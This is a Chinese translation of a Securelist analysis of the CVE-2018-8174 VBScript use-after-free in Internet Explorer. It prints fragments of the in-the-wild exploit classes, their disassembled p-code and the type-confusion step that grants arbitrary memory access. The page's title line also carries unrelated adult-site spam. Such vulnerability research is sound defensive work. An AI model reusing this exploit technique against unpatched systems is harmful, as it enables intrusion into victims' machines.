压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

深入研究VBScript

4月下旬,我們發(fā)現(xiàn)了一個(gè)漏洞并對其發(fā)表了一篇報(bào)告CVE-2018-8174,這是我們的沙盒在Internet Explorer中發(fā)現(xiàn)的一個(gè)新0day漏洞,該漏洞使用了漏洞CVE-2014-6332的poc中一種常用的技術(shù),實(shí)際上就是“破壞”了兩個(gè)內(nèi)存對象,并將一個(gè)對象的類型更改為Array(用于對地址空間的讀/寫訪問),另一個(gè)對象類型更改為Integer,以獲取任意對象的地址。

QQ截圖20180706134603

但是CVE-2014-6332的利用主要是針對寫入任意內(nèi)存位置的整數(shù)溢出,而我的興趣點(diǎn)在于如何改編此技術(shù)以用于UAF漏洞。要回答這個(gè)問題,我們需要先考慮一下VBScript解釋器的內(nèi)部結(jié)構(gòu)。

沒有文檔記載

調(diào)試一個(gè)VBScript可執(zhí)行文件可是一項(xiàng)繁瑣的工作,因?yàn)樵趫?zhí)行之前它會(huì)先被編譯成p代碼(p-code),然后才由虛擬機(jī)解釋。網(wǎng)上無法找到有關(guān)于此虛擬機(jī)的內(nèi)部結(jié)構(gòu)或者關(guān)于其指令的開源信息,不過花費(fèi)了大量精力過后,我終于在幾個(gè)網(wǎng)頁中只找到了1999年2004年的微軟工程師報(bào)告,這些報(bào)告中揭示了一些關(guān)于p代碼的信息,其中有足夠的信息讓我對所有的VM指令進(jìn)行完全逆向,并編寫一個(gè)反匯編程序。大家在我們的Github存儲庫中可以找到用于在IDA Pro和WinDBG調(diào)試器的內(nèi)存中反匯編VBScript p代碼的最終腳本。

通過理解虛擬機(jī)解釋代碼,我們可以精確地監(jiān)視腳本的執(zhí)行情況:可以獲得有關(guān)在任何指定時(shí)間點(diǎn)上代碼被執(zhí)行的位置的完整信息,并且可以觀察腳本創(chuàng)建和引用的所有對象,所有的這些信息都可以對分析提供極大的幫助。

運(yùn)行反匯編腳本的最佳位置是CScriptRuntime::RunNoEH函數(shù),因?yàn)樗梢灾苯咏忉宲代碼。img

CScriptRuntime類中的重要字段

CScriptRuntime類包含了有關(guān)解釋器狀態(tài)的所有信息:局部變量、函數(shù)參數(shù)、指向堆棧頂部的指針和當(dāng)前指令,以及被編譯腳本的地址。

VBScript虛擬機(jī)是面向堆棧的,包含大約超過100條的指令。

所有變量(本地參數(shù)和堆棧上的變量)都表示為占用16個(gè)字節(jié)的VARIANT.aspx)結(jié)構(gòu),其中高位字表示數(shù)據(jù)類型,某些類型值在相關(guān)的MSDN)頁面上也可以找到。

CVE-2018-8174利用

下面是’Class1’類的代碼和反匯編后的p代碼:

Class Class1
Dim mem
Function P
End Function
Function SetProp(Value)
    mem=Value
    SetProp=0
End Function
End Class
Function 34 (‘Class1’) [max stack = 1]:
        arg count = 0
        lcl count = 0
Pcode:
        0000    OP_CreateClass       
        0005    OP_FnBindEx      ‘p’ 35 FALSE
        000F    OP_FnBindEx      ‘SetProp’ 36 FALSE
        0019    OP_CreateVar     ‘mem’ FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
Function 35 (‘p’) [max stack = 0]:
        arg count = 0
        lcl count = 0
Pcode:
        ***BOS(8252,8264)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd    
Function 36 (‘SetProp’) [max stack = 1]:
        arg count = 1
            arg  –1 = ref Variant    ‘value’
        lcl count = 0
Pcode:
        ***BOS(8292,8301)*** mem=Value *****
        0000    OP_Bos1          0
        0002    OP_LocalAdr      –1
        0005    OP_NamedSt       ‘mem’
        ***BOS(8304,8315)*** SetProp=(0) *****
        000A    OP_Bos1          1
        000C    OP_IntConst      0
        000E    OP_LocalSt       0
        ***BOS(8317,8329)*** End Function *****
        0011    OP_Bos1          2
        0013    OP_FnReturn     
        0014    OP_Bos0         
        0015    OP_FuncEnd

函數(shù)34是’Class1’類的構(gòu)造函數(shù)。

OP_CreateClass指令調(diào)用VBScriptClass::Create函數(shù)來創(chuàng)建VBScriptClass對象。

OP_FnBindEx和OP_CreateVar指令嘗試獲取參數(shù)中傳遞的變量,由于它們尚不存在,因此它們由VBScriptClass::CreateVar函數(shù)創(chuàng)建。

下圖顯示了如何從VBScriptClass對象中獲取變量,其中變量的值存儲在VVAL結(jié)構(gòu)中:img

想要了解漏洞的利用方法,則需要先了解變量在VBScriptClass結(jié)構(gòu)中的表示方式。

當(dāng)在函數(shù)36(‘SetProp’)中執(zhí)行OP_NamedSt ‘mem’指令時(shí),它會(huì)調(diào)用先前堆疊的類的實(shí)例的默認(rèn)屬性Getter,然后將返回的值存儲在變量’mem’中。

***BOS(8292,8301)*** mem=Value *****
0000OP_Bos1 0
0002OP_LocalAdr -1 <————將參數(shù)置于堆棧
0005OP_NamedSt’mem’<———- – 如果它是具有默認(rèn)屬性Getter的類調(diào)度程序,則在mem中調(diào)用并存儲返回的值

下面是在執(zhí)行OP_NamedSt指令期間調(diào)用的30(p)函數(shù)的代碼和反匯編的p代碼:

Class lllIIl
Public Default Property Get P
Dim llII
P=CDbl(“174088534690791e-324”)
For IIIl=0 To 6
    IIIlI(IIIl)=0
Next
Set llII=New Class2
llII.mem=lIlIIl
For IIIl=0 To 6
    Set IIIlI(IIIl)=llII
Next
End Property
End Class
Function 30 (‘p’) [max stack = 3]:
        arg count = 0
        lcl count = 1
            lcl   1 =     Variant    ‘llII’
        tmp count = 4
Pcode:
        ***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
        0000    OP_Bos1          0
        0002    OP_StrConst      ‘174088534690791e-324’
        0007    OP_CallNmdAdr    ‘CDbl’ 1
        000E    OP_LocalSt       0
        ***BOS(8763,8782)*** For IIIl=(0) To (6) *****
        0011    OP_Bos1          1
        0013    OP_IntConst      0
        0015    OP_IntConst      6
        0017    OP_IntConst      1
        0019    OP_ForInitNamed  ‘IIIl’ 5 4
        0022    OP_JccFalse      0047
        ***BOS(8809,8824)*** IIIlI(IIIl)=(0) *****
        0027    OP_Bos1          2
        0029    OP_IntConst      0
        002B    OP_NamedAdr      ‘IIIl’
        0030    OP_CallNmdSt     ‘IIIlI’ 1
        ***BOS(8826,8830)*** Next *****
        0037    OP_Bos1          3
        0039    OP_ForNextNamed  ‘IIIl’ 5 4
        0042    OP_JccTrue       0027
        ***BOS(8855,8874)*** Set llII=New Class2 *****
        0047    OP_Bos1          4
        0049    OP_InitClass     ‘Class2’
        004E    OP_LocalSet      1
        ***BOS(8876,8891)*** llII.mem=lIlIIl *****
        0051    OP_Bos1          5
        0053    OP_NamedAdr      ‘lIlIIl’
        0058    OP_LocalAdr      1
        005B    OP_MemSt         ‘mem’
        ….

該函數(shù)的第一個(gè)基本塊是:

*** BOS(8626,8656)*** P = CDbl(“174088534690791e-324”)*****
0000OP_Bos1 0
0002OP_StrConst’174088534690791e-
324’0007OP_CallNmdAdr’CDbl’1
000EOP_LocalSt 0

該塊將字符串’174088534690791e-324’轉(zhuǎn)換為VARIANT.aspx)結(jié)構(gòu),并將其存儲在本地變量0中,保留為函數(shù)的返回值。

在將’174088534690791e-324’轉(zhuǎn)換為雙倍后得到VARIANT

設(shè)置后的返回值在被返回之前,執(zhí)行以下函數(shù):

For IIIl=0 To 6
IIIlI(IIIl)=0
Next

該函數(shù)會(huì)調(diào)用“Class1”實(shí)例的垃圾回收器,并由于我們之前提到的Class_Terminate()中存在的use-after-free漏洞而導(dǎo)致一個(gè)懸空指針引用。

In the line

***BOS(8855,8874)*** Set llII=New Class2 *****
0047OP_Bos1 4
0049OP_InitClass ‘Class2’
004EOP_LocalSet 1

OP_InitClass ‘Class2’指令在先前釋放的VBScriptClass 的位置創(chuàng)建’Class1’類的“evil twin”實(shí)例,該實(shí)例仍由函數(shù)36(‘SetProp’)中的OP_NamedSt ‘mem’指令引用。

“Class2”類是“Class1”類的“evil twin”:

Class Class2
Dim mem
Function P0123456789
    P0123456789=LenB(mem(IlII+(8)))
End Function
Function SPP
End Function
End Class
Function 31 (‘Class2’) [max stack = 1]:
        arg count = 0
        lcl count = 0
Pcode:
        0000    OP_CreateClass   ‘Class2’
        0005    OP_FnBindEx      ‘P0123456789’ 32 FALSE
        000F    OP_FnBindEx      ‘SPP’ 33 FALSE
        0019    OP_CreateVar     ‘mem’ FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
Function 32 (‘P0123456789’) [max stack = 2]:
        arg count = 0
        lcl count = 0
Pcode:
        ***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) *****
        0000    OP_Bos1          0
        0002    OP_NamedAdr      ‘IlII’
        0007    OP_IntConst      8
        0009    OP_Add          
        000A    OP_CallNmdAdr    ‘mem’ 1
        0011    OP_CallNmdAdr    ‘LenB’ 1
        0018    OP_LocalSt       0
        ***BOS(8423,8435)*** End Function *****
        001B    OP_Bos1          1
        001D    OP_FnReturn     
        001E    OP_Bos0         
        001F    OP_FuncEnd      
Function 33 (‘SPP’) [max stack = 0]:
        arg count = 0
        lcl count = 0
Pcode:
        ***BOS(8451,8463)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd

內(nèi)存中變量的位置是可預(yù)測的。VVAL結(jié)構(gòu)占用的數(shù)據(jù)量使用公式0x32 + UTF-16中變量名的長度計(jì)算。

下圖顯示了在分配’Class2’代替’Class1’時(shí),’Class1’變量相對于’Class2’變量的位置。img

當(dāng)函數(shù)36(‘SetProp’)中的OP_NamedSt ‘mem’指令的完成執(zhí)行后,函數(shù)30(‘p’)返回的值通過Class1中VVAL ‘mem’的懸空指針寫入寄存器,并覆蓋VARIANT Class2中的VVAL ‘mem’類型。

img

Double類型的VARIANT將VARIANT類型從String重寫為Array

因此,String類型的對象被轉(zhuǎn)換為Array類型的對象,之前被認(rèn)為是字符串的數(shù)據(jù)被視為Array控件結(jié)構(gòu),并被允許訪問進(jìn)程的整個(gè)地址空間。

結(jié)論

我們將用于反匯編VBScript的腳本編譯成p代碼,以便于以字節(jié)碼級別啟用VBScript調(diào)試,這樣可以在分析漏洞的利用并了解VBScript的運(yùn)行方式的時(shí)候提供有效的幫助,該腳本已存儲在我們的Github存儲庫中。

CVE-2018-8174的案例表明,當(dāng)內(nèi)存分配具有高度可預(yù)測性時(shí),UAF漏洞會(huì)變得很容易被利用,在野外這種攻擊常常被用來針對舊版Windows,尤其是在Windows 7和Windows 8.1中最有可能出現(xiàn)該攻擊所需要的內(nèi)存中對象的位置。

原文地址:https://securelist.com/delving-deep-into-vbscript-analysis-of-cve-2018-8174-exploitation/86333/

上一篇:又一種新的btis服務(wù)com組件漏洞利用方式,成功提權(quán)至system

下一篇:沙箱:挖掘你的安全隱患